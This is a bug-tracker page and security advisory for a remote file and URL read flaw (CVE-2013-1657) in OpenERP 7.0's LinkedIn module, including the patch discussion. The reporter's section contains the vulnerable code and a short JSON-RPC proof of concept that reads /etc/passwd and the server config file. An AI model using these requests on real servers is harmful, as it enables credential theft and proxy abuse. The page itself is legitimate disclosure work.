[7.0] Remote File/URL Access via "LinkedIn Integration" module + privilege escalation

Bug #1116226 reported by Bastian Ike
258
This bug affects 1 person
Affects Status Importance Assigned to Milestone
Odoo Addons (MOVED TO GITHUB)
Fix Released
Critical
OpenERP R&D Web Team

Bug Description

== SECURITY ADVISORY ==

Title: Remote File/URL Access via "LinkedIn Integration" module

Affects: OpenERP 7.0 only
Component: OpenERP Addons
Module: web_linkedin
Credit: Bastian Ike
CVE ID: 2013-1657 (to be published)

I. Confidentiality

The content of this security advisory was released early on 2013-02-11 to
subscribers of an OpenERP Enterprise contract (OE). In the mean time, this
issue was not disclosed or discussed on public channels.

II. Background

OpenERP is remotely accessible using remote procedure call (RPC) protocols, in
order to communicate with the OpenERP user interface or with external systems.
These RPC interfaces grant access to the business logic provided by OpenERP
modules (also known as Apps or addons). This allows calling the business logic
of OpenERP using external programs, including with other parameters than those
typically used by the OpenERP user interface.

OpenERP 7.0 comes with a new "LinkedIn Integration" module (web_linkedin) that
can automatically fill in new Contact details based on the information
published on LinkedIn.

III. Problem Description

The web_linkedin module did not properly verify the parameters passed to one
of its RPC methods, allowing an attacker to remotely access local files on the
server on which OpenERP is running, or to relay HTTP requests to arbitrary URLs.
OpenERP 7.0 systems where the web_linkedin module is present but not installed
may also be vulnerable.

IV. Impact

Access Vector: Network exploitable
Access Complexity: Low
Authentication: Not required to exploit

An attacker could pass a specially-crafted JSON-RPC request to the vulnerable
method and ask for the contents of any local file or remote URL, with or
without being authenticated.
Local files requested through this vulnerability may contain sensitive
information such as passwords that could allow the user to gain elevated
privileges on OpenERP or on the server machine itself.
The attacker could also use the OpenERP system as an "open web proxy",
effectively avoiding network traceability when accessing or abusing other websites.

Exploiting this vulnerability only requires remote network access to the
vulnerable OpenERP system.

OpenERP S.A. is not aware of any malicious use of this vulnerability yet.

V. Workaround

Deleting the web_linkedin directory in the local modules repository then
restarting the OpenERP server will prevent exploiting this vulnerability, but
may damage your installation. This option should only be used if applying the
patch or updating the installation is truly impossible, and must be performed
by personnel experienced with OpenERP administration.

Please also note that:
- 7.0 systems where the web_linkedin module is not installed may also be
vulnerable as long as the web_linkedin module is present in the local modules
(i.e. in one of the `addons_path` entries).
- Systems based on the OpenERP 7.0 Windows All-In-One installer are not
vulnerable unless the web_linkedin module was installed on at least one
database. On such installations modules are only downloaded when they are
installed.
- All OpenERP Online servers have been patched as soon as the correction was
available.

VI. Solution

Apply the attached patch, or upgrade to an OpenERP 7.0 version after the
correction date, either via Bazaar or by downloading the latest version from
https://www.openerp.com or http://nightly.openerp.com/7.0/nightly

To apply the patch, change into the root directory of your addons installation,
then execute the patch command, such as:
    patch -p0 -f < /path/to/the_patch_file.patch

VII. Correction details

The following list contains the revision number of 7.0 series of
`openobject-addons' after which the vulnerability is corrected.

-------------------------------------------------------------------------
- 7.0 series revno: 8669 revision-id: <email address hidden>

== ORIGINAL DESCRIPTION FROM REPORTER ==

The web_linkedin addon in OpenERP 7 contains a critical security issue.

class Binary(openerp.addons.web.http.Controller):
    _cp_path = "/web_linkedin/binary"

    @openerp.addons.web.http.jsonrequest
    def url2binary(self, req,url):
        bfile = urllib2.urlopen(url)
        return base64.b64encode(bfile.read())

Anyone can just open /web_linkedin/binary/url2binary and pass any URL which will be loaded from the server and the result is send to the user.

This let's an attacker abuse the OpenERP Server to hide his IP from attacks (like DDOS) to other servers or let him access internal resources inside the companys network.

PoC:
In [1]: import jsonrpclib

In [2]: import base64

In [3]: base64.b64decode(jsonrpclib.Server('http://SERVER:PORT/web_linkedin/binary/url2binary').call(url="http://checkip.dyndns.com:8245/"))
Out[3]: '<html><head><title>Current IP Check</title></head><body>Current IP Address: 11.22.33.44</body></html>\r\n'

I'm not sure if openerp-web is the right project, if not, please move it.
If you need further information please let me know (here or via skype: bastian.ike).

Revision history for this message
Bastian Ike (bastian-ike) wrote :

Let's you btw. also access local files via file://:
base64.b64decode(jsonrpclib.Server('http://oe7:8069/web_linkedin/binary/url2binary').call(url="file:///etc/passwd"))

Revision history for this message
Bastian Ike (bastian-ike) wrote :

or file:///home/opener/.openerp_serverrc... just saying...

Revision history for this message
Olivier Dony (Odoo) (odo-openerp) wrote :

Your analysis is correct, thanks for reporting! The url2binary method should be removed and replaced by a different client-side technique to load the LinkedIn images. We're working on a patch, to be provided as soon as possible.

affects: openerp-web → openobject-addons
Changed in openobject-addons:
assignee: nobody → OpenERP R&D Web Team (openerp-dev-web)
importance: Undecided → Critical
status: New → In Progress
milestone: none → 7.0
Revision history for this message
Olivier Dony (Odoo) (odo-openerp) wrote :

This only affects 7.0 and trunk - note that all 7.0 bugfixes are automatically forward-ported to trunk periodically.

Revision history for this message
Bastian Ike (bastian-ike) wrote :

I'd suggest you to remove web_linkedin ASAP, because right now everyone can get the administrator credentials from openerp (in almost any case...)

Revision history for this message
Nicolas Vanhoren (OpenERP) (niv-openerp) wrote :

An improvement was made to partially solve this problem, inversion 8668 in the 7.0 branch, and 8534 of the trunk.

Now it disables the use of anything else than http, deny this service to unauthenticated users and forbid the use of GET parameters. This should eradicate the security risk for the computer containing the OpenERP instance and greatly reduces potential DDOS attacks.

We know that there is still a risk about DDOS attacks, but currently I can't imagine any way to remove it completely. Due to the way the linkedin API works, it's impossible to query images from the browser, it's also hard to check that urls really target a linkedin image.

Changed in openobject-addons:
importance: Critical → High
Revision history for this message
Bastian Ike (bastian-ike) wrote :

Why don't you just take the given URL and check if the hostname is (something.)linkedin.com? Should solve the problem, right?

Revision history for this message
Olivier Dony (Odoo) (odo-openerp) wrote :

LinkedIn is using a CDN for images (Akamai), so the hostnames from which the images will be loaded is not fixed.
We might have a solution by enforcing that the URL scheme is http/https and forcing the hostname to media.linkedin.com, which is apparently the master from which their CDN is populated. However there is no guarantee that this will work in the future, and we cannot find any official documentation mentioning it.

Revision history for this message
Bastian Ike (bastian-ike) wrote :

I just wanted to help you ;-)

Limiting to http(s):// is a good idea, and if you find a way to restrict the hostname (maybe linkedin.com and akaimaihq.com?) that would be even better.

Revision history for this message
Olivier Dony (Odoo) (odo-openerp) wrote :

A sufficiently restricting fix was merged at revision 8669 rev-id: <email address hidden>

All online servers are being updated at the moment, and the installation packages will be updated in a few hours.

Thanks again for reporting!

Changed in openobject-addons:
status: In Progress → Fix Released
summary: - OpenERP 7 open proxy security issue
+ web_linkedin security issue: open proxy + privilege escalation
Changed in openobject-addons:
importance: High → Critical
summary: - web_linkedin security issue: open proxy + privilege escalation
+ Remote File/URL Access via "LinkedIn Integration" module + privilege
+ escalation
Revision history for this message
Olivier Dony (Odoo) (odo-openerp) wrote :
description: updated
summary: - Remote File/URL Access via "LinkedIn Integration" module + privilege
- escalation
+ [7.0] Remote File/URL Access via "LinkedIn Integration" module +
+ privilege escalation
description: updated
description: updated
information type: Private Security → Public Security
description: updated
OpenBMS JSC (openbmsjsc)
information type: Public Security → Private Security
information type: Private Security → Public Security
Revision history for this message
El Hadji Dem (http://www.savoirfairelinux.com) (eh-dem) wrote :

Hello , I try the web_linkedin , but It doesn't work;I got this error on the console :

GET https://api.linkedin.com/v1/company-search:(companies:(id,name,logo-url,des…n,industry,website-url,locations))?keywords=SAvoir%20faire%20linux&count=5 403 (Forbidden) xdrpc.html?v=0.0.1196-RC1.31125-1408:1649
GET https://api.linkedin.com/v1/people-search:(num-results,people:(id,picture-u…,main-address,headline,positions))?keywords=SAvoir%20faire%20linux&count=5 403 (Forbidden) xdrpc.html?v=0.0.1196-RC1.31125-1408:1649

Revision history for this message
El Hadji Dem (http://www.savoirfairelinux.com) (eh-dem) wrote :

I applied the patch but I have the same issue

Revision history for this message
Dmitry Wojciechowski (glassglaze) wrote :

We experience the same issue like El Hadjii Dem posted. We use Odoo 8.

Revision history for this message
Olivier Dony (Odoo) (odo-openerp) wrote :

Please do not comment about problems with the LinkedIn module here, this bug report is about a specific security issue that is totally different. You can search/post on the Help forum at help.odoo.com instead.
Note that LinkedIn has drastically changed their terms of use and their policy for allowing API searches - it now requires explicit Vetted API Access or a developer program membership, which LinkedIn appears to decline for everyone. As a result, the usefulness of the LinkedIn module is severely affected. See e.g. https://developer.linkedin.com/blog/vetted-api-access

To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.